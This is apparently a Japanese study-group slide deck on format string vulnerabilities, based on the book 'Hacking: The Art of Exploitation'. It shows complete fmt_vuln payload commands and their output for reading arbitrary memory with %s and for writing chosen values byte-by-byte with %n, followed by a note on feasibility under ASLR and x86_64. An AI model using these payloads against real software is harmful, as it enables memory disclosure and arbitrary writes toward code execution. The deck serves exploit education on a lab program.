  • 13. 0x353 任意のメモリ内容を表示 • 前ページのコマンドから次の箇所を変更 – "AAAA" → 対象のアドレス – 最後の %08x → %s 12 $ ./fmt_vuln `printf "¥x8c¥xfc¥xff¥xbf"`%08x.%08x.(省略).%08x.%08x.%08x.%08x.%s ... ����bfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.000 00000.00000001./home/taku/bin:/usr/local/bin:/usr/bin:/bin ... 今回はあらかじめ調べた PATH 環境変数のアドレス %08x → text - 8: 0x00000000 %08x → text - 4: 0x00000001 %s → text: "¥x8c¥xfc¥xff¥xbf" = 0xbffffc8c bffffc8c "/hom" bffffc90 "e/ta" bffffc94 "ku/b" ... ... PATH 環境変数スタック %s は対応する値を文字列のアドレスとみなし、 その文字列 (ここでは $PATH) を表示する $PATH の内容
  • 14. 0x354 攻撃のアイディア • 攻撃対象は 0x352, 0x353 と同様、ユーザ入 力を printf の書式文字列として使うプログラム • 攻撃者は、次のような文字列を入力して、任 意のアドレスにデータを書き込む 13 "<対象のアドレス (4バイト)>%x%x...%042x%n" • 対象のアドレスが格納されている位置を %n に対応させるた め、 %x を埋め草として調節 • 目的の数値を得るため、 %042x のように出力バイト数を調 節。 %n 直前までの出力バイト数が対象のアドレスに書き込まれる ※ テキストでは %42x とスペース埋めですが、分かり易さのため、 0 埋めに変更しています
  • 15. 0x354 任意位置に書き込み (1/6) • 0x353 のコマンドから次の箇所を変更 – 先頭 4 バイト → 書き込み先アドレス – 最後の %s → %n 14 今回はあらかじめ調べた test_val 変数のアドレス $ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08"`%08x.%08x.(省略).%08x.%08x.%08x.%08x.%n ... ��bfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.0000000 0.00000001. [*] test_val @ 0x0804a024 = 94 0x0000005e %08x → text - 8: 0x00000000 %08x → text - 4: 0x00000001 %n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024 スタック 0804a024 94 = 0x0000005e test_val 変数 %n は対応する値を int 値のアドレスとみなし、その アドレスに、そこまでに表示したバイト数を書き込む 94 バイト出力
  • 16. 0x354 任意位置に書き込み (2/6) • 0 埋めの数を調節することで、出力文字数を 調節し、書き込むデータが制御できる 15 $ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08"`%x.%x.%x.%x.%x.%x.%x.%x.%x.%031x.%n ... ��bfffee0c.6474e552.11965d.145baf.1105dc.1e40.bffff2b4.bffff05c.0.000000000000000 0000000000000001. [*] test_val @ 0x0804a024 = 100 0x00000064 %x → text - 8: 0x0 %031x → text - 4: 0x0000...00001 %n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024 スタック 0804a024 100 = 0x00000064 test_val 変数 100 バイト出力
  • 17. 0x354 任意位置に書き込み (3/6) • この手法の問題点 – 現実的には、比較的小さな、正の値しか書き込め ない – たとえば、100000000 という値を書き込もうと思っ たら、 100000000 文字出力する必要がある → 事実上不可能 16
  • 18. 0x354 任意位置に書き込み (4/6) • 解決策: 大きな値は 1 バイトずつ複数回書き込む • 例: test_val に 0xddccbbaa を書き込む 17 ① 170 = 0xaa バイト出力 ② %n で 0804a024 に 0xaa を書き込み AA 00 00 00 ③ 17 バイト出力 (通算 0xbb バイト出力) ④ %n で 0804a025 に 0xbb を書き込み BB 00 00 00 ⑤ 17 バイト出力 (通算 0xcc バイト出力) ⑥ %n で 0804a026 に 0xcc を書き込み CC 00 00 00 ⑦ 17 バイト出力 (通算 0xdd バイト出力) ⑧ %n で 0804a027 に 0xdd を書き込み DD 00 00 00 最終的な test_val = 0xddccbbaa AA BB CC DD ↓ test_val の先頭 (0804a024)
  • 19. 0x354 任意位置に書き込み (5/6) • %n と %n の間に %017x を挟んで出力バイト 数を加算する 18 $ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08JUNK¥x25¥xa0¥x04¥x08JUNK¥x26¥xa0¥x04¥x08JU NK¥x27¥xa0¥x04¥x08"`%x.%x.%x.%x.%x.%x.%x.%x.%x.%077x.%n%017x%n%017x%n%017x%n ... ��JUNK%�JUNK&�JUNK'�bfffeddc.6474e552.11965d.145baf.1105dc.1e40.bffff284.bffff02c. 0.000<...省略...>000001.0000000004b4e554a0000000004b4e554a0000000004b4e554a [*] test_val @ 0x0804a024 = -573785174 0xddccbbaa %x → text - 8: 0x00000000 %077x → text - 4: 0x0000...000001 %n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024 %017x → text + 4: "JUNK" = 0x0000000004b4e554a %n → text + 8: "¥x25¥xa0¥x04¥x08" = 0x0804a025 ... スタック "IMHO" でも "ASAP" でも、 4 バイトならなんでも OK
  • 20. 0x354 任意位置に書き込み (6/6) • 例: test_val に 0x0806abcd を書き込む • 隣り合うバイト間の増分が cd, ab の様にマイナスだったり、 06, 08 の様に小さかったりする → 増分に加えて 256 (0x100) 文字余計に書き込む 19 ① 205 = 0xcd バイト出力 ② %n で 0804a024 に 0xcd を書き込み CD 00 00 00 ③ 222 バイト出力 (通算 0x1ab バイト出力) ④ %n で 0804a025 に 0x1ab を書き込み AB 01 00 00 ⑤ 91 バイト出力 (通算 0x206 バイト出力) ⑥ %n で 0804a026 に 0x206 を書き込み 06 02 00 00 ⑦ 258 バイト出力 (通算 0x308 バイト出力) ⑧ %n で 0804a027 に 0x308 を書き込み 08 03 00 00 最終的な test_val = 0x0806abcd CD AB 06 08 (03) (00) (00) ↓ test_val の先頭 (0804a024) 余計な上位バイトは 後で上書きされる
  • 21. 実現性について考察 (宮川) • アドレス空間配置のランダム化が有効な場合、 0x353, 0x354 の攻撃は難易度が上がる。しか し、当たりをつけておいて、多くの試行を繰り返 すことで、突破は可能と思われる • x86_64 では、 0x353, 0x354 の攻撃はおそらく 不可能。ユーザ空間のアドレスが 0 ~ 0x00007fffffffffff であり、上位バイトに必 ず 0 が存在するため、文字列として渡すことが できない (C の文字列は 0 終止) 20